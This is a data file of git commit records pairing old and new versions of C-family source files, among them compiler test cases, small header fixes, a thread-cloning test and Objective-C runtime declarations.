{"commit":"48a000c2d136e1571a0732006b2bec2538a117a2","old_file":"SSPSolution\/SSPSolution\/ComponentHandler.h","new_file":"SSPSolution\/SSPSolution\/ComponentHandler.h","old_contents":"#ifndef SSPAPPLICATION_COMPONENTHANDLER_H\n#define SSPAPPLICATION_COMPONENTHANDLER_H\n\n#include \"..\/GraphicsDLL\/GraphicsHandler.h\"\n\/\/#include \"ComponentStructs.h\"\n#include \"..\/GraphicsDLL\/GraphicsHandler.h\"\n#include \"..\/physicsDLL\/PhysicsHandler.h\"\n#include \"..\/AIDLL\/AIHandler.h\"\n\nclass ComponentHandler\n{\nprivate:\n\tGraphicsHandler* m_graphicsHandler;\n\tPhysicsHandler* m_physicsHandler;\n\tAIHandler* m_aiHandler;\npublic:\n\tComponentHandler();\n\t~ComponentHandler();\n\n\t\/\/Returns 0 if the graphicsHandler or physicshandler is a nullptr\n\tint Initialize(GraphicsHandler* graphicsHandler, PhysicsHandler* physicsHandler, AIHandler* aiHandler);\n\n\tGraphicsComponent* GetGraphicsComponent();\n\tPhysicsComponent* GetPhysicsComponent();\n\tvoid UpdateGraphicsComponents();\n\tvoid SetGraphicsComponentListSize(int gCompSize);\n\n\t\/\/temporary function\n\tPhysicsHandler* GetPhysicsHandler() const;\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_COMPONENTHANDLER_H\n#define SSPAPPLICATION_COMPONENTHANDLER_H\n\n\/\/#include \"ComponentStructs.h\"\n#include \"..\/GraphicsDLL\/GraphicsHandler.h\"\n#include \"..\/physicsDLL\/PhysicsHandler.h\"\n#include \"..\/AIDLL\/AIHandler.h\"\n\nclass ComponentHandler\n{\nprivate:\n\tGraphicsHandler* m_graphicsHandler;\n\tPhysicsHandler* m_physicsHandler;\n\tAIHandler* m_aiHandler;\npublic:\n\tComponentHandler();\n\t~ComponentHandler();\n\n\t\/\/Returns 0 if the graphicsHandler or physicshandler is a nullptr\n\tint Initialize(GraphicsHandler* graphicsHandler, PhysicsHandler* physicsHandler, AIHandler* aiHandler);\n\n\tGraphicsComponent* GetGraphicsComponent();\n\tPhysicsComponent* GetPhysicsComponent();\n\tvoid UpdateGraphicsComponents();\n\tvoid SetGraphicsComponentListSize(int gCompSize);\n\n\t\/\/temporary function\n\tPhysicsHandler* GetPhysicsHandler() const;\n};\n\n#endif","subject":"FIX duplicate includes of GraphicsHandler","message":"FIX duplicate includes of GraphicsHandler\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"ef460ae7e5836154d5e8e811af87491126de5487","old_file":"src\/host\/string_hash.c","new_file":"src\/host\/string_hash.c","old_contents":"\/**\n * \\file   string_hash.c\n * \\brief  Computes a hash value for a string.\n * \\author Copyright (c) 2012-2014 Jason Perkins and the Premake project\n *\/\n\n#include \"premake.h\"\n#include <string.h>\n\n\nint string_hash(lua_State* L)\n{\n\tconst char* str = luaL_checkstring(L, 1);\n\tunsigned long seed = luaL_optint(L, 2, 0);\n\tlua_pushnumber(L, do_hash(str, seed));\n\treturn 1;\n}\n\n\nunsigned long do_hash(const char* str, int seed)\n{\n\t\/* DJB2 hashing; see http:\/\/www.cse.yorku.ca\/~oz\/hash.html *\/\n\n\tunsigned long hash = 5381;\n\n\tif (seed != 0) {\n\t\thash = hash * 33 + seed;\n\t}\n\n\twhile (*str) {\n\t\thash = hash * 33 + (*str);\n\t\tstr++;\n\t}\n\n\treturn hash;\n}\n","new_contents":"\/**\n * \\file   string_hash.c\n * \\brief  Computes a hash value for a string.\n * \\author Copyright (c) 2012-2014 Jason Perkins and the Premake project\n *\/\n\n#include \"premake.h\"\n#include <string.h>\n\n\nint string_hash(lua_State* L)\n{\n\tconst char* str = luaL_checkstring(L, 1);\n\tunsigned long seed = luaL_optint(L, 2, 0);\n\tlua_pushnumber(L, (lua_Number)do_hash(str, seed));\n\treturn 1;\n}\n\n\nunsigned long do_hash(const char* str, int seed)\n{\n\t\/* DJB2 hashing; see http:\/\/www.cse.yorku.ca\/~oz\/hash.html *\/\n\n\tunsigned long hash = 5381;\n\n\tif (seed != 0) {\n\t\thash = hash * 33 + seed;\n\t}\n\n\twhile (*str) {\n\t\thash = hash * 33 + (*str);\n\t\tstr++;\n\t}\n\n\treturn hash;\n}\n","subject":"Fix implicit conversion warning when building with floating point Lua","message":"Fix implicit conversion warning when building with floating point Lua\n","lang":"C","license":"bsd-3-clause","repos":"bravnsgaard\/premake-core,noresources\/premake-core,starkos\/premake-core,noresources\/premake-core,premake\/premake-core,tvandijck\/premake-core,Yhgenomics\/premake-core,felipeprov\/premake-core,jstewart-amd\/premake-core,Meoo\/premake-core,TurkeyMan\/premake-core,martin-traverse\/premake-core,jstewart-amd\/premake-core,jstewart-amd\/premake-core,noresources\/premake-core,grbd\/premake-core,felipeprov\/premake-core,dcourtois\/premake-core,Zefiros-Software\/premake-core,TurkeyMan\/premake-core,CodeAnxiety\/premake-core,jsfdez\/premake-core,kankaristo\/premake-core,mandersan\/premake-core,PlexChat\/premake-core,xriss\/premake-core,aleksijuvani\/premake-core,sleepingwit\/premake-core,Zefiros-Software\/premake-core,prapin\/premake-core,noresources\/premake-core,dcourtois\/premake-core,mendsley\/premake-core,kankaristo\/premake-core,xriss\/premake-core,lizh06\/premake-core,Blizzard\/premake-core,starkos\/premake-core,Blizzard\/premake-core,saberhawk\/premake-core,resetnow\/premake-core,felipeprov\/premake-core,premake\/premake-core,noresources\/premake-core,LORgames\/premake-core,soundsrc\/premake-core,felipeprov\/premake-core,martin-traverse\/premake-core,Meoo\/premake-core,jstewart-amd\/premake-core,martin-traverse\/premake-core,Blizzard\/premake-core,dcourtois\/premake-core,martin-traverse\/premake-core,lizh06\/premake-core,Yhgenomics\/premake-core,TurkeyMan\/premake-core,PlexChat\/premake-core,aleksijuvani\/premake-core,Tiger66639\/premake-core,starkos\/premake-core,tritao\/premake-core,resetnow\/premake-core,premake\/premake-core,alarouche\/premake-core,jstewart-amd\/premake-core,Meoo\/premake-core,tritao\/premake-core,LORgames\/premake-core,xriss\/premake-core,tvandijck\/premake-core,alarouche\/premake-core,akaStiX\/premake-core,tritao\/premake-core,soundsrc\/premake-core,Tiger66639\/premake-core,sleepingwit\/premake-core,saberhawk\/premake-core,akaStiX\/premake-core,alarouche\/premake-core,aleksijuvani\/premake-core,grbd\/premake-core,starkos\/premake-core,LORgames\/premake-core,LORgames\/premake-core,sleepingwit\/premake-core,mendsley\/premake-core,xriss\/premake-core,premake\/premake-core,aleksijuvani\/premake-core,lizh06\/premake-core,akaStiX\/premake-core,resetnow\/premake-core,lizh06\/premake-core,Tiger66639\/premake-core,tritao\/premake-core,CodeAnxiety\/premake-core,mendsley\/premake-core,bravnsgaard\/premake-core,CodeAnxiety\/premake-core,kankaristo\/premake-core,tvandijck\/premake-core,Blizzard\/premake-core,dcourtois\/premake-core,mandersan\/premake-core,Yhgenomics\/premake-core,PlexChat\/premake-core,prapin\/premake-core,CodeAnxiety\/premake-core,bravnsgaard\/premake-core,grbd\/premake-core,noresources\/premake-core,prapin\/premake-core,LORgames\/premake-core,premake\/premake-core,tvandijck\/premake-core,mandersan\/premake-core,premake\/premake-core,CodeAnxiety\/premake-core,saberhawk\/premake-core,jsfdez\/premake-core,Zefiros-Software\/premake-core,akaStiX\/premake-core,noresources\/premake-core,saberhawk\/premake-core,dcourtois\/premake-core,soundsrc\/premake-core,soundsrc\/premake-core,starkos\/premake-core,Blizzard\/premake-core,dcourtois\/premake-core,aleksijuvani\/premake-core,grbd\/premake-core,soundsrc\/premake-core,tvandijck\/premake-core,PlexChat\/premake-core,resetnow\/premake-core,Blizzard\/premake-core,TurkeyMan\/premake-core,Meoo\/premake-core,premake\/premake-core,prapin\/premake-core,alarouche\/premake-core,Zefiros-Software\/premake-core,TurkeyMan\/premake-core,xriss\/premake-core,mandersan\/premake-core,starkos\/premake-core,starkos\/premake-core,sleepingwit\/premake-core,bravnsgaard\/premake-core,dcourtois\/premake-core,resetnow\/premake-core,Zefiros-Software\/premake-core,bravnsgaard\/premake-core,kankaristo\/premake-core,sleepingwit\/premake-core,mendsley\/premake-core,mandersan\/premake-core,jsfdez\/premake-core,Tiger66639\/premake-core,jsfdez\/premake-core,Yhgenomics\/premake-core,mendsley\/premake-core"}
{"commit":"beba7f47d873abe0a532753556511d0dabbb41fa","old_file":"test\/Sema\/PR3675.c","new_file":"test\/Sema\/PR3675.c","old_contents":"","new_contents":"\/\/ RUN: clang -verify %s\n\/\/\n\/\/ This example was reduced from actual code in Wine 1.1.13.  GCC accepts this\n\/\/ code, while the correct behavior is to reject it.\n\/\/\n\ntypedef struct _IRP {\n  union {\n    struct {\n      union {} u; \/\/ expected-note{{previous declaration is here}}\n      struct {\n        union {} u; \/\/ expected-error{{error: member of anonymous struct redeclares 'u'}}\n      };\n    } Overlay;\n  } Tail;\n} IRP;\n","subject":"Add test case for PR 3675.","message":"Add test case for PR 3675.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@65635 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"972adb833389607a84e879e2df565e37451d4c60","old_file":"test\/CodeGen\/arm_asm_clobber.c","new_file":"test\/CodeGen\/arm_asm_clobber.c","old_contents":"\/\/ RUN: clang -ccc-host-triple armv6-unknown-unknown -emit-llvm -S -o %t %s\n\nvoid test0(void) {\n\tasm volatile(\"mov r0, r0\" :: );\n}\nvoid test1(void) {\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"cc\", \"memory\" );\n}\nvoid test2(void) {\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"r0\", \"r1\", \"r2\", \"r3\");\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"r4\", \"r5\", \"r6\", \"r8\");\n}\nvoid test3(void) {\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"a1\", \"a2\", \"a3\", \"a4\");\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"v1\", \"v2\", \"v3\", \"v5\");\n}\n","new_contents":"\/\/ RUN: clang-cc -triple armv6-unknown-unknown -emit-llvm -o %t %s\n\nvoid test0(void) {\n\tasm volatile(\"mov r0, r0\" :: );\n}\nvoid test1(void) {\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"cc\", \"memory\" );\n}\nvoid test2(void) {\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"r0\", \"r1\", \"r2\", \"r3\");\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"r4\", \"r5\", \"r6\", \"r8\");\n}\nvoid test3(void) {\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"a1\", \"a2\", \"a3\", \"a4\");\n\tasm volatile(\"mov r0, r0\" :::\n\t\t\t\t \"v1\", \"v2\", \"v3\", \"v5\");\n}\n","subject":"Use clang-cc in this test.","message":"Use clang-cc in this test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@90872 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"d9e9a0a7122b881fd97b190ed615daf572731a2b","old_file":"test\/CodeGen\/pragma-pack-1.c","new_file":"test\/CodeGen\/pragma-pack-1.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o - %s\n\n\/\/ PR4610\n#pragma pack(4)\nstruct ref {\n        struct ref *next;\n} refs;\n","new_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-apple-macosx10.7.0 -emit-llvm -o - %s | FileCheck %s\n\n\/\/ PR4610\n#pragma pack(4)\nstruct ref {\n        struct ref *next;\n} refs;\n\n\/\/ PR13580\nstruct S\n{\n  char a[3];\n#pragma pack(1)\n  struct T\n  {\n    char b;\n    int c;\n  } d;\n#pragma pack()\n  struct T2\n  {\n    char b;\n    int c;\n  } d2;\n} ss;\n\n\/\/ CHECK: [[struct_ref:%[a-zA-Z0-9_.]+]] = type <{ [[struct_ref]]* }>\n\/\/ CHECK: [[struct_S:%[a-zA-Z0-9_.]+]] = type { [3 x i8], [[struct_T:%[a-zA-Z0-9_.]+]], [[struct_T2:%[a-zA-Z0-9_.]+]] }\n\/\/ CHECK: [[struct_T]] = type <{ i8, i32 }>\n\/\/ CHECK: [[struct_T2]] = type { i8, i32 }\n\n\/\/ CHECK: @refs = common global [[struct_ref]]\n\/\/ CHECK: @ss = common global [[struct_S]]\n","subject":"Add IRGen test case for r179743.","message":"Add IRGen test case for r179743.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@179777 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"e695b928e43435d62ac2e4bc3133cbe6eae44bbe","old_file":"include\/api\/ofp_odp_compat.h","new_file":"include\/api\/ofp_odp_compat.h","old_contents":"\/* Copyright (c) 2015, ENEA Software AB\n * Copyright (c) 2015, Nokia\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n#if ODP_VERSION < 105\ntypedef uint64_t odp_time_t;\n#endif \/* ODP_VERSION < 105 *\/\n\n#if ODP_VERSION < 104 && ODP_VERSION > 101\n#define odp_cpumask_default_worker(cpumask, num_workers) odp_cpumask_def_worker(cpumask, num_workers)\n#elif ODP_VERSION < 102\n#define odp_cpumask_default_worker(cpumask, num_workers) odp_cpumask_count(cpumask)\n#endif\n","new_contents":"\/* Copyright (c) 2015, ENEA Software AB\n * Copyright (c) 2015, Nokia\n * All rights reserved.\n *\n * SPDX-License-Identifier:     BSD-3-Clause\n *\/\n\n#if ODP_VERSION < 105\ntypedef uint64_t odp_time_t;\n#endif \/* ODP_VERSION < 105 *\/\n\n#if ODP_VERSION < 104 && ODP_VERSION > 101\n#define odp_cpumask_default_worker(cpumask, num_workers) odp_cpumask_def_worker(cpumask, num_workers)\n#elif ODP_VERSION < 102\n#define odp_cpumask_default_worker(cpumask, num_workers) odp_cpumask_count(cpumask)\n#define ODP_THREAD_WORKER\n#define ODP_THREAD_CONTROL\n#endif\n","subject":"Define ODP_THREAD_WORKER and ODP_THREAD_CONTROL for odp versions < 102.","message":"Define ODP_THREAD_WORKER and ODP_THREAD_CONTROL for odp versions < 102.\n\nSigned-off-by: José Pekkarinen <d7cb8761fb0e75b1a78c2fda4f1daed76cd46cfe@nokia.com>\nReviewed-and-tested-by: Sorin Vultureanu <8013ba55f8675034bc2ab0d6c3a1c9650437ca36@enea.com>\n","lang":"C","license":"bsd-3-clause","repos":"TolikH\/ofp,OpenFastPath\/ofp,TolikH\/ofp,TolikH\/ofp,OpenFastPath\/ofp,OpenFastPath\/ofp,OpenFastPath\/ofp"}
{"commit":"d37719c942a0eaa9b50d3b6e8e2fa4e8a852eecc","old_file":"nwn2mdk-lib\/cgmath.h","new_file":"nwn2mdk-lib\/cgmath.h","old_contents":"#pragma once\n\ntemplate <typename T>\nclass Vector3 {\npublic:\n\tT x, y, z;\n\n\tVector3(T x, T y, T z)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->z = z;\n\t}\n\n\tVector3() : Vector3(0, 0, 0)\n\t{\n\t}\n\n\tT &operator[](unsigned i)\n\t{\n\t\treturn (&x)[i];\n\t}\n};\n\nstatic_assert(sizeof(Vector3<float>) == 12);\n\ntemplate <typename T>\nclass Vector4 {\npublic:\n\tT x, y, z, w;\n\n\tVector4() {}\n\n\tVector4(T x, T y, T z, T w)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->z = z;\n\t\tthis->w = w;\n\t}\n\n\tT &operator[](unsigned i)\n\t{\n\t\treturn (&x)[i];\n\t}\n};\n","new_contents":"#pragma once\n\ntemplate <typename T>\nclass Vector3 {\npublic:\n\tT x, y, z;\n\n\tVector3(T x, T y, T z)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->z = z;\n\t}\n\n\tVector3() : Vector3(0, 0, 0)\n\t{\n\t}\n\n\tT &operator[](unsigned i)\n\t{\n\t\treturn (&x)[i];\n\t}\n\n\tbool operator==(const Vector3 &v) const\n\t{\n\t\treturn x == v.x && y == v.y && z == v.z;\n\t}\n};\n\nstatic_assert(sizeof(Vector3<float>) == 12);\n\ntemplate <typename T>\nclass Vector4 {\npublic:\n\tT x, y, z, w;\n\n\tVector4() {}\n\n\tVector4(T x, T y, T z, T w)\n\t{\n\t\tthis->x = x;\n\t\tthis->y = y;\n\t\tthis->z = z;\n\t\tthis->w = w;\n\t}\n\n\tT &operator[](unsigned i)\n\t{\n\t\treturn (&x)[i];\n\t}\n};\n","subject":"Add \"equal to\" operator to Vector3","message":"Add \"equal to\" operator to Vector3\n","lang":"C","license":"apache-2.0","repos":"Arbos\/nwn2mdk,Arbos\/nwn2mdk,Arbos\/nwn2mdk"}
{"commit":"7ba252b469a2ebe78210b2791241f4709aef9cd4","old_file":"misc\/threadinfo\/parasite.c","new_file":"misc\/threadinfo\/parasite.c","old_contents":"","new_contents":"#define _GNU_SOURCE\n#include <stdio.h>\n#include <unistd.h>\n#include <sched.h>\n#include <stdlib.h>\n\n#define CHILD_STACK_SIZE 16384\n\nint variable;\n\nint do_something() {\n   printf(\"Running...\\n\");\n   variable = 1337;\n   _exit(0);\n}\n\nint main(int argc, char *argv[]) {\n   char *child_stack;\n   char *child_stack_top;\n\n   child_stack = malloc(CHILD_STACK_SIZE);\n   child_stack_top = child_stack + CHILD_STACK_SIZE;\n\n   variable = 42;\n   printf(\"The variable was %d\\n\", variable);\n\n   clone(do_something, child_stack_top, CLONE_THREAD, NULL);\n   sleep(10);\n\n   printf(\"The variable is now %d\\n\", variable);\n   return 0;\n}\n","subject":"Add test of clone syscall with CLONE_THREAD","message":"Add test of clone syscall with CLONE_THREAD\n","lang":"C","license":"mit","repos":"WesleyAC\/toybox,WesleyAC\/toybox,WesleyAC\/toybox,WesleyAC\/toybox,WesleyAC\/toybox"}
{"commit":"4aa666a35dc30b7b912ece51249e011a46feddd9","old_file":"MicroReasoner\/SMRPreprocessor.h","new_file":"MicroReasoner\/SMRPreprocessor.h","old_contents":"\/\/\n\/\/  SMRPreprocessor.h\n\/\/  MicroReasoner\n\/\/\n\/\/  Created by Ivano Bilenchi on 05\/05\/16.\n\/\/  Copyright © 2016 SisInf Lab. All rights reserved.\n\/\/\n\n#ifndef SMRPreprocessor_h\n#define SMRPreprocessor_h\n\n\/\/ Pseudo-abstract class convenience macros.\n\n#define ABSTRACT_METHOD {\\\n@throw [NSException exceptionWithName:NSInternalInconsistencyException \\\nreason:@\"This method should be overridden in a subclass.\" \\\nuserInfo:nil]; \\\n}\n\n#endif \/* SMRPreprocessor_h *\/\n","new_contents":"\/\/\n\/\/  SMRPreprocessor.h\n\/\/  MicroReasoner\n\/\/\n\/\/  Created by Ivano Bilenchi on 05\/05\/16.\n\/\/  Copyright © 2016 SisInf Lab. All rights reserved.\n\/\/\n\n#ifndef SMRPreprocessor_h\n#define SMRPreprocessor_h\n\n\/**\n * Use this directive to mark method implementations that should be overridden\n * by concrete subclasses.\n *\/\n#define ABSTRACT_METHOD {\\\n@throw [NSException exceptionWithName:NSInternalInconsistencyException \\\nreason:@\"This method should be overridden in a subclass.\" \\\nuserInfo:nil]; \\\n}\n\n\/**\n * Use this directive in place of @synthesize to automatically create a\n * lazy getter for the specified property. Example syntax:\n *\n * SYNTHESIZE_LAZY(NSMutableString, myMutableString) {\n *     return [NSMutableString stringWithString:@\"my mutable string\"];\n * }\n *\n * @param type The type of the property.\n * @param name The name of the property.\n *\/\n#define SYNTHESIZE_LAZY(type, name) \\\n@synthesize name = _##name; \\\n- (type *)name { \\\nif (_##name == nil) { _##name = [self __##name##LazyInit]; } \\\nreturn _##name; \\\n} \\\n- (type *)__##name##LazyInit\n\n\/**\n * Use this directive in place of @synthesize to automatically create a\n * lazy getter for the specified property. The getter calls the default\n * 'init' constructor.\n *\n * @param type The type of the property.\n * @param name The name of the property.\n *\/\n#define SYNTHESIZE_LAZY_INIT(type, name) \\\n@synthesize name = _##name; \\\n- (type *)name { \\\nif (_##name == nil) { _##name = [[type alloc] init]; } \\\nreturn _##name; \\\n}\n\n#endif \/* SMRPreprocessor_h *\/\n","subject":"Add lazy property synthesis directives","message":"Add lazy property synthesis directives\n","lang":"C","license":"epl-1.0","repos":"sisinflab-swot\/OWL-API-for-iOS,sisinflab-swot\/OWL-API-for-iOS,sisinflab-swot\/OWL-API-for-iOS"}
{"commit":"273ed9870aa064992fb3c25a1f4d8973b10ad36e","old_file":"test\/Analysis\/redefined_system.c","new_file":"test\/Analysis\/redefined_system.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -analyze -analyzer-checker=unix,core,experimental.security.taint -w -verify %s\n\n\/\/ Make sure we don't crash when someone redefines a system function we reason about.\n\nchar memmove ();\nchar malloc();\nchar system();\nchar stdin();\nchar memccpy();\nchar free();\nchar strdup();\nchar atoi();\n\nint foo () {\n  return memmove() + malloc() + system + stdin() + memccpy() + free() + strdup() + atoi();\n\n}\n","subject":"Test case for r154451 (redefining system functions).","message":"[analyzer] Test case for r154451 (redefining system functions).\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@154624 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"36db197d9cc6af1062902a1678caa6825eaa2e9f","old_file":"Settings\/Tabs\/Tab.h","new_file":"Settings\/Tabs\/Tab.h","old_contents":"#pragma once\n\n#include <Windows.h>\n#include <unordered_map>\n\n#include \"..\/Controls\/Control.h\"\n#include \"..\/Controls\/Controls.h\"\n\nclass UIContext;\n\n#define INIT_CONTROL(ctrlId, ctrlType, var) { \\\n    var = ctrlType(ctrlId, _hWnd); \\\n    _controlMap[ctrlId] = &var; \\\n}\n\n\/\/\/ <summary>\n\/\/\/ Abstract class that encapsulates functionality for dealing with\n\/\/\/ property sheet pages (tabs).\n\/\/\/ <\/summary>\nclass Tab {\npublic:\n    Tab();\n    ~Tab();\n\n    \/\/\/ <summary>Processes messages sent to the tab page.<\/summary>\n    virtual DLGPROC TabProc(\n        HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);\n\n    \/\/\/ <summary>Persists changes made on the tab page<\/summary>\n    virtual void SaveSettings() = 0;\n\nprotected:\n    \/\/\/ <summary>Window handle of this tab.<\/summary>\n    HWND _hWnd;\n\n    \/\/\/ <summary>Maps control IDs to their respective instances.<\/summary>\n    std::unordered_map<int, Control *> _controlMap;\n\n    \/\/\/ <summary>\n    \/\/\/ Performs intitialization for the tab page, similar to a constructor.\n    \/\/\/ Since tab page windows are created on demand, this method could be\n    \/\/\/ called much later than the constructor for the tab.\n    \/\/\/ <\/summary>\n    virtual void Initialize() = 0;\n\n    \/\/\/ <summary>Applies the current settings state to the tab page.<\/summary>\n    virtual void LoadSettings() = 0;\n};","new_contents":"#pragma once\n\n#include <Windows.h>\n#include <unordered_map>\n\n#include \"..\/Controls\/Control.h\"\n#include \"..\/Controls\/Controls.h\"\n\n#define INIT_CONTROL(ctrlId, ctrlType, var) { \\\n    var = ctrlType(ctrlId, _hWnd); \\\n    _controlMap[ctrlId] = &var; \\\n}\n\n\/\/\/ <summary>\n\/\/\/ Abstract class that encapsulates functionality for dealing with\n\/\/\/ property sheet pages (tabs).\n\/\/\/ <\/summary>\nclass Tab {\npublic:\n    Tab();\n    ~Tab();\n\n    \/\/\/ <summary>Processes messages sent to the tab page.<\/summary>\n    virtual DLGPROC TabProc(\n        HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam);\n\n    \/\/\/ <summary>Persists changes made on the tab page<\/summary>\n    virtual void SaveSettings() = 0;\n\nprotected:\n    \/\/\/ <summary>Window handle of this tab.<\/summary>\n    HWND _hWnd;\n\n    \/\/\/ <summary>Maps control IDs to their respective instances.<\/summary>\n    std::unordered_map<int, Control *> _controlMap;\n\n    \/\/\/ <summary>\n    \/\/\/ Performs intitialization for the tab page, similar to a constructor.\n    \/\/\/ Since tab page windows are created on demand, this method could be\n    \/\/\/ called much later than the constructor for the tab.\n    \/\/\/ <\/summary>\n    virtual void Initialize() = 0;\n\n    \/\/\/ <summary>Applies the current settings state to the tab page.<\/summary>\n    virtual void LoadSettings() = 0;\n};","subject":"Remove old UIContext class declaration","message":"Remove old UIContext class declaration\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"6dd934fccccc45354cdae8feb50f89e4f8abac8f","old_file":"include\/jwtxx\/ios.h","new_file":"include\/jwtxx\/ios.h","old_contents":"","new_contents":"#pragma once\n\n#include \"jwt.h\"\n\n#include <ostream>\n\nnamespace JWTXX\n{\n\nstd::ostream& operator<<(std::ostream& stream, const Algorithm& alg)\n{\n    stream << algToString(alg);\n    return stream;\n}\n\n}\n","subject":"Add separate header for stream operators.","message":"Add separate header for stream operators.\n","lang":"C","license":"mit","repos":"RealImage\/jwtxx,RealImage\/jwtxx,madf\/jwtxx,madf\/jwtxx"}
{"commit":"323c8ec8b6a8c6795ebe02d4d7d470567bf93981","old_file":"objc\/message.h","new_file":"objc\/message.h","old_contents":"","new_contents":"#ifndef _OBJC_MESSAGE_H_\n#define _OBJC_MESSAGE_H_\n\n#if defined(__x86_64) || defined(__i386) || defined(__arm__) || \\\n\tdefined(__mips_n64) || defined(__mips_n32)\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of the function is used for all messages that return either an\n * integer, a pointer, or a small structure value that is returned in\n * registers.  Be aware that calling conventions differ between operating\n * systems even within the same architecture, so take great care if using this\n * function for small (two integer) structures.\n *\/\nid objc_msgSend(id self, SEL _cmd, ...);\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of the function is used for all messages that return a\n * structure that is not returned in registers.  Be aware that calling\n * conventions differ between operating systems even within the same\n * architecture, so take great care if using this function for small (two\n * integer) structures.\n *\/\n#ifdef __cplusplus\nid objc_msgSend_stret(id self, SEL _cmd, ...);\n#else\nvoid objc_msgSend_stret(id self, SEL _cmd, ...);\n#endif\n\/**\n * Standard message sending function.  This function must be cast to the\n * correct types for the function before use.  The first argument is the\n * receiver and the second the selector.\n *\n * Note that this function is not available on all architectures.  For a more\n * portable solution to sending arbitrary messages, consider using\n * objc_msg_lookup_sender() and then calling the returned IMP directly.\n *\n * This version of the function is used for all messages that return floating\n * point values.\n *\/\nlong double objc_msgSend_fpret(id self, SEL _cmd, ...);\n\n#endif\n\n#endif \/\/_OBJC_MESSAGE_H_\n","subject":"Fix clang's stupid warning to work around a bug in OS X headers...","message":"Fix clang's stupid warning to work around a bug in OS X headers...\n\n\n\ngit-svn-id: a68838e7bd575144b7122a20f5a950e65beaf589@35962 72102866-910b-0410-8b05-ffd578937521\n","lang":"C","license":"mit","repos":"itumashyk\/ndk-objc-gs-libobjc2,itumashyk\/ndk-objc-gs-libobjc2"}
